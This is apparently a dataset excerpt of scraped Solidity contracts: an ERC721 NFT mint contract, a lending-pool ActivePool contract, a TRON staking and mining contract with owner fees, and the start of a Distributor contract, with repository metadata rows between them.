function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from,
address to,
uint256 tokenId,
bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to,
uint256 tokenId,
bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from,
address to,
uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
}
//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//
library Counters {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
//
contract HexagonalPunks is ERC721, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private tokenIdCounter;
string baseURI;
uint256 public currentPrice = 0.0096 ether;
uint256 public maximumSupply = 10000;
uint256 public maximumFreeSupply = 5000;
bool public paused = false;
address creator = 0x1151590434100A8B77a8e21d34c48954888F6866;
constructor(string memory _initBaseURI)
ERC721("HexagonalPunks", "hPunks")
{
setBaseURI(_initBaseURI);
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function mintHPunks(uint256 mintAmount) external payable {
uint256 supply = tokenIdCounter.current();
require(!paused, "Sale paused");
require(mintAmount < 20, "You can mint maximum 20 per tx.");
require(supply + mintAmount <= maximumSupply,
"Exceeds maximum HexagonalPunks supply");
if (supply > maximumFreeSupply) {
require(msg.value >= currentPrice * mintAmount,
"Not enough Ether sent");
}
for (uint256 i = 0; i < mintAmount; i++) {
tokenIdCounter.increment();
_safeMint(msg.sender, tokenIdCounter.current());
}
}
function getCurrentId() external view returns (uint256) {
return tokenIdCounter.current();
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
return string(abi.encodePacked(baseURI, tokenId.toString(), ".json"));
}
function pause(bool val) public onlyOwner {
paused = val;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function withdrawAll() public onlyOwner {
uint256 balance = address(this).balance;
require(payable(creator).send(balance));
}
}
| 219,695 | 14,055 |
ce57d3dcd13b88ec9f5009acfe9623e872114b6782ecdf75a72f6390f2669255
| 23,239 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c4/c4392b160E1D57F41F52D1788aA765B6B8771885_ActivePool.sol
| 3,323 | 13,561 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
// File: contracts/Interfaces/IPool.sol
// Common interface for the Pools.
interface IPool {
// --- Events ---
event CollTokenAddressChanged(address _newCollTokenAddress);
event BorrowerOperationsAddressChanged(address _newBorrowerOperationsAddress);
event TroveManagerAddressChanged(address _newTroveManagerAddress);
event StabilityPoolAddressChanged(address _newStabilityPoolAddress);
event DefaultPoolAddressChanged(address _newDefaultPoolAddress);
event CollSurplusPoolAddressChanged(address _newCollSurplusPoolAddress);
event ActivePoolAddressChanged(address _newActivePoolAddress);
event EtherSent(address _to, uint _amount);
// --- Functions ---
function getETH() external view returns (uint);
function increaseColl(uint256 _amount) external;
}
// File: contracts/Interfaces/IActivePool.sol
interface IActivePool is IPool {
// --- Events ---
event ActivePoolLUSDDebtUpdated(uint _LUSDDebt);
event ActivePoolETHBalanceUpdated(uint _ETH);
// --- Functions ---
function sendETH(address _account, uint _amount) external;
function getLUSDDebt() external view returns (uint);
function increaseLUSDDebt(uint _amount) external;
function decreaseLUSDDebt(uint _amount) external;
function collTokenAddress() external view returns (address);
}
// File: contracts/Dependencies/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/utils/SafeToken.sol
interface ERC20Interface {
function balanceOf(address user) external view returns (uint256);
}
library SafeToken {
function myBalance(address token) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(address(this));
}
function balanceOf(address token, address user) internal view returns (uint256) {
return ERC20Interface(token).balanceOf(user);
}
function safeApprove(address token, address to, uint256 value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeApprove");
}
function safeTransfer(address token, address to, uint256 value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransfer");
}
function safeTransferFrom(address token, address from, address to, uint256 value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransferFrom");
}
function safeTransferETH(address to, uint256 value) internal {
// solhint-disable-next-line no-call-value
(bool success,) = to.call{value: value}(new bytes(0));
require(success, "!safeTransferETH");
}
}
// File: contracts/Dependencies/upgradeable/AddressUpgradeable.sol
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/Dependencies/upgradeable/Initializable.sol
// solhint-disable-next-line compiler-version
abstract contract Initializable {
bool public initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File: contracts/protocol/ActivePool.sol
contract ActivePool is IActivePool, Initializable {
using SafeMath for uint256;
string constant public NAME = "ActivePool";
address constant public GAS_TOKEN_ADDR = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
address public override collTokenAddress;
address public borrowerOperationsAddress;
address public troveManagerAddress;
address public stabilityPoolAddress;
address public defaultPoolAddress;
address public collSurplusPoolAddress;
uint256 internal collAmount;
uint256 internal LUSDDebt;
// --- Contract setters ---
function setAddresses(address _collTokenAddress,
address _borrowerOperationsAddress,
address _troveManagerAddress,
address _stabilityPoolAddress,
address _defaultPoolAddress,
address _collSurplusPoolAddress)
external
initializer
{
collTokenAddress = _collTokenAddress;
borrowerOperationsAddress = _borrowerOperationsAddress;
troveManagerAddress = _troveManagerAddress;
stabilityPoolAddress = _stabilityPoolAddress;
defaultPoolAddress = _defaultPoolAddress;
collSurplusPoolAddress = _collSurplusPoolAddress;
emit CollTokenAddressChanged(_collTokenAddress);
emit BorrowerOperationsAddressChanged(_borrowerOperationsAddress);
emit TroveManagerAddressChanged(_troveManagerAddress);
emit StabilityPoolAddressChanged(_stabilityPoolAddress);
emit DefaultPoolAddressChanged(_defaultPoolAddress);
emit CollSurplusPoolAddressChanged(_collSurplusPoolAddress);
}
// --- Getters for public variables. Required by IPool interface ---
function getETH() external view override returns (uint) {
return collAmount;
}
function getLUSDDebt() external view override returns (uint) {
return LUSDDebt;
}
// --- Pool functionality ---
function sendETH(address _account, uint _amount) external override {
_requireCallerIsBOorTroveMorSP();
collAmount = collAmount.sub(_amount);
emit ActivePoolETHBalanceUpdated(collAmount);
emit EtherSent(_account, _amount);
if (collTokenAddress == GAS_TOKEN_ADDR) {
SafeToken.safeTransferETH(_account, _amount);
} else {
SafeToken.safeTransfer(collTokenAddress, _account, _amount);
_increasePoolColl(_account, _amount);
}
}
function _increasePoolColl(address _account, uint _amount) internal {
if (_account == stabilityPoolAddress ||
_account == defaultPoolAddress ||
_account == collSurplusPoolAddress)
{
IPool(_account).increaseColl(_amount);
}
}
function increaseLUSDDebt(uint _amount) external override {
_requireCallerIsBOorTroveM();
LUSDDebt = LUSDDebt.add(_amount);
emit ActivePoolLUSDDebtUpdated(LUSDDebt);
}
function decreaseLUSDDebt(uint _amount) external override {
_requireCallerIsBOorTroveMorSP();
LUSDDebt = LUSDDebt.sub(_amount);
emit ActivePoolLUSDDebtUpdated(LUSDDebt);
}
function increaseColl(uint256 _amount) external override {
_requireCallerIsBorrowerOperationsOrDefaultPool();
collAmount = collAmount.add(_amount);
emit ActivePoolETHBalanceUpdated(collAmount);
}
// --- 'require' functions ---
function _requireCallerIsBorrowerOperationsOrDefaultPool() internal view {
require(msg.sender == borrowerOperationsAddress ||
msg.sender == defaultPoolAddress,
"ActivePool: Caller is neither BO nor Default Pool");
}
function _requireCallerIsBOorTroveMorSP() internal view {
require(msg.sender == borrowerOperationsAddress ||
msg.sender == troveManagerAddress ||
msg.sender == stabilityPoolAddress,
"ActivePool: Caller is neither BorrowerOperations nor TroveManager nor StabilityPool");
}
function _requireCallerIsBOorTroveM() internal view {
require(msg.sender == borrowerOperationsAddress ||
msg.sender == troveManagerAddress,
"ActivePool: Caller is neither BorrowerOperations nor TroveManager");
}
// --- Fallback function ---
receive() external payable {
_requireCallerIsBorrowerOperationsOrDefaultPool();
collAmount = collAmount.add(msg.value);
emit ActivePoolETHBalanceUpdated(collAmount);
}
}
| 85,346 | 14,056 |
e9a20e832ac80b5e5c7324a512b209492a72441501a84e1d5a74a33887bca7e9
| 13,500 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TA7u61v4QXKdaWzpco15dsocrRxrEsy1Pw_DMDT_TRX_MINE_V4.sol
| 3,370 | 13,167 |
//SourceUnit: A005_diamond_trx_mine_v4.sol
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "invalid sub(a, b) as a < b");
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "invalid add as a+b < a");
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount);
(bool success,) = recipient.call.value(amount)("");
require(success);
}
}
contract Ownable {
using Address for address;
address payable public Owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
Owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == Owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(Owner, _newOwner);
Owner = _newOwner.toPayable();
}
}
interface ITRC20 {
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeTRC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(ITRC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ITRC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(ITRC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ITRC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ITRC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(ITRC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
interface IDICEInfo {
function playerInfo(address player) external view returns (uint count, uint amount);
}
contract Mine is Ownable {
using SafeMath for uint;
using Address for address;
ITRC20 public rewardToken;
uint public round;
uint public minedAmount;
bool public mineFlag;
uint public minePrice;
uint public minePriceBase = 20000 * 1e6; // base minePrice = 20000 TRX
uint public DURATION = 1 days;
uint public PriceStageBase = 100;
uint public PriceStage = 100;
uint public PriceStageDelta = 10;
uint public mineStage;
uint public MineStageMax = 5000 * 1e18;
uint public MineStageDelta = 500 * 1e18;
constructor() public {
incMinedAmount(0);
}
function setRewardToken(address addr) public onlyOwner {
require(address(0) != addr, "invalid address");
require(addr.isContract(), "token address should be contract");
rewardToken = ITRC20(addr);
mineFlag = true;
}
function setPriceBase(uint val) public onlyOwner {
minePriceBase = val;
}
function setPriceStage(uint base, uint stage, uint delta) public onlyOwner {
require(base >= stage && base > 0 && base >= delta);
PriceStageBase = base;
PriceStage = stage;
PriceStageDelta = delta;
}
function setMineStage(uint max, uint delta) public onlyOwner {
MineStageMax = max;
MineStageDelta = delta;
}
function updateMinePrice() internal {
if (PriceStage == 0 || minedAmount >= MineStageMax) {
mineFlag = false;
minePrice = 0;
return;
}
round = round.add(1);
minePrice = minePriceBase.mul(PriceStageBase).div(PriceStage);
PriceStage = PriceStage.sub(PriceStageDelta);
}
function incMinedAmount(uint amount) internal {
minedAmount = minedAmount.add(amount);
if (minedAmount >= mineStage) {
mineStage = mineStage.add(MineStageDelta);
updateMinePrice();
}
}
function sendRewardToken(address to, uint amount) internal {
if (address(0) == address(rewardToken)) {
return;
}
if (mineFlag == false) {
return;
}
uint maxReward = rewardToken.balanceOf(address(this));
if (amount > maxReward) {
amount = maxReward;
}
if (amount > 0) {
rewardToken.transfer(to, amount);
}
}
function calReward(uint amount, uint calTime) internal view returns (uint) {
uint reward = amount.mul(1e18).div(minePrice).div(DURATION).mul(calTime);
if (minedAmount.add(reward) >= mineStage) {
reward = mineStage.sub(minedAmount); // cut reward to mine stage limit
}
return reward;
}
}
contract DMDT_TRX_MINE_V4 is Mine {
using SafeMath for uint;
using Address for address;
IDICEInfo public diceCtx;
uint public totalSupply;
event Staked(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount, uint transferAmount, uint fee, uint rate);
event RewardPaid(address indexed user, uint reward);
struct StakeInfo {
uint lastWithdrawTime;
uint withdrawableReward;
uint withdrawedReward;
uint amount;
address inviter;
uint inviteCount;
uint inviteAmount;
uint inviteReward;
}
mapping (address => StakeInfo) public records;
constructor() public {
}
function balance() public view returns (uint) {
return address(this).balance;
}
function setDiceCtx(address addr) public onlyOwner {
require(address(0) != addr, "invalid reward token address");
require(addr.isContract() == true, "reward token should be a contract");
diceCtx = IDICEInfo(addr);
}
uint stakeMinDiceCnt = 3;
function setStakeMinDiceCnt(uint val) public onlyOwner {
stakeMinDiceCnt = val;
}
function stake(address inviter) public payable returns (bool) {
require(msg.value > 0, "Cannot stake 0");
uint amount = msg.value;
if (address(0) != address(diceCtx)) {
(uint diceCnt,) = diceCtx.playerInfo(msg.sender);
require(diceCnt >= stakeMinDiceCnt, "play dice first");
}
StakeInfo storage info = records[msg.sender];
if (info.lastWithdrawTime > 0 && block.timestamp > info.lastWithdrawTime) {
uint calTime = block.timestamp.sub(info.lastWithdrawTime);
uint reward = calReward(info.amount, calTime);
info.withdrawableReward = info.withdrawableReward.add(reward);
incMinedAmount(reward);
}
info.lastWithdrawTime = block.timestamp;
if (address(0) == info.inviter && address(0) != inviter && records[inviter].amount > 0 && inviter != msg.sender) {
info.inviter = inviter;
// inviter count
records[inviter].inviteCount = records[inviter].inviteCount.add(1);
records[inviter].inviteAmount = records[inviter].inviteAmount.add(amount);
} else {
inviter = info.inviter;
// inviter amount
records[inviter].inviteAmount = records[inviter].inviteAmount.add(amount);
}
info.amount = info.amount.add(amount);
totalSupply = totalSupply.add(amount);
emit Staked(msg.sender, amount);
Owner.transfer(amount.div(10));
return true;
}
function withdraw() public returns (bool) {
StakeInfo storage info = records[msg.sender];
uint amount = info.amount;
require(amount > 0, "insufficient balance!");
if (info.lastWithdrawTime > 0 && block.timestamp > info.lastWithdrawTime) {
uint calTime = block.timestamp.sub(info.lastWithdrawTime);
uint reward = calReward(info.amount, calTime);
info.withdrawableReward = info.withdrawableReward.add(reward);
incMinedAmount(reward);
}
info.lastWithdrawTime = block.timestamp;
info.amount = info.amount.sub(amount);
uint rate = 1000;
if (address(0) != address(diceCtx) && amount > 0) {
(, uint diceAmount) = diceCtx.playerInfo(msg.sender);
if (diceAmount > amount) {
diceAmount = amount;
}
rate = uint(5).mul(uint(200).sub(diceAmount.mul(100).div(amount)));
}
uint fee = amount.mul(rate).div(10000);
uint withdrawAmount = amount.sub(fee);
if (withdrawAmount > address(this).balance) {
withdrawAmount = address(this).balance;
}
msg.sender.transfer(withdrawAmount);
emit Withdrawn(msg.sender, amount, withdrawAmount, fee, rate);
totalSupply = totalSupply.sub(amount);
return true;
}
function exit() external returns (bool) {
withdraw();
getReward();
return true;
}
function balanceOf(address addr) public view returns (uint) {
return records[addr].amount;
}
function earned(address account) public view returns (uint) {
StakeInfo storage info = records[account];
uint val = 0;
if (info.lastWithdrawTime > 0 && block.timestamp > info.lastWithdrawTime) {
uint calTime = block.timestamp.sub(info.lastWithdrawTime);
val = calReward(info.amount, calTime);
val = info.withdrawableReward.add(val);
}
return val;
}
function getReward() public returns (bool) {
if (mineFlag == false) {
return true;
}
StakeInfo storage info = records[msg.sender];
if (info.lastWithdrawTime > 0 && block.timestamp > info.lastWithdrawTime) {
uint calTime = block.timestamp.sub(info.lastWithdrawTime);
uint reward = calReward(info.amount, calTime);
info.withdrawableReward = info.withdrawableReward.add(reward);
incMinedAmount(reward);
}
info.lastWithdrawTime = block.timestamp;
uint amount = info.withdrawableReward;
info.withdrawableReward = 0;
info.withdrawedReward = info.withdrawedReward.add(amount);
sendRewardToken(msg.sender, amount);
// inviter reward
uint inviteReward = amount.div(10);
incMinedAmount(inviteReward);
if (address(0) != info.inviter && records[info.inviter].amount > 0) {
sendRewardToken(info.inviter, inviteReward);
records[info.inviter].inviteReward = records[info.inviter].inviteReward.add(inviteReward);
} else {
sendRewardToken(Owner, inviteReward);
}
return true;
}
function rescue(address to, ITRC20 token, uint256 amount) external onlyOwner {
require(to != address(0), "must not 0");
require(amount > 0, "must gt 0");
require(token.balanceOf(address(this)) >= amount);
token.transfer(to, amount);
}
}
| 301,622 | 14,057 |
4445f7f102d339bbd360118aac22fa74356583f6b155c0c3a07a77da69702bd4
| 17,839 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/09/09bdeab159187d47b5df656c34126b9ce0f5533e_Distributor.sol
| 3,955 | 15,563 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
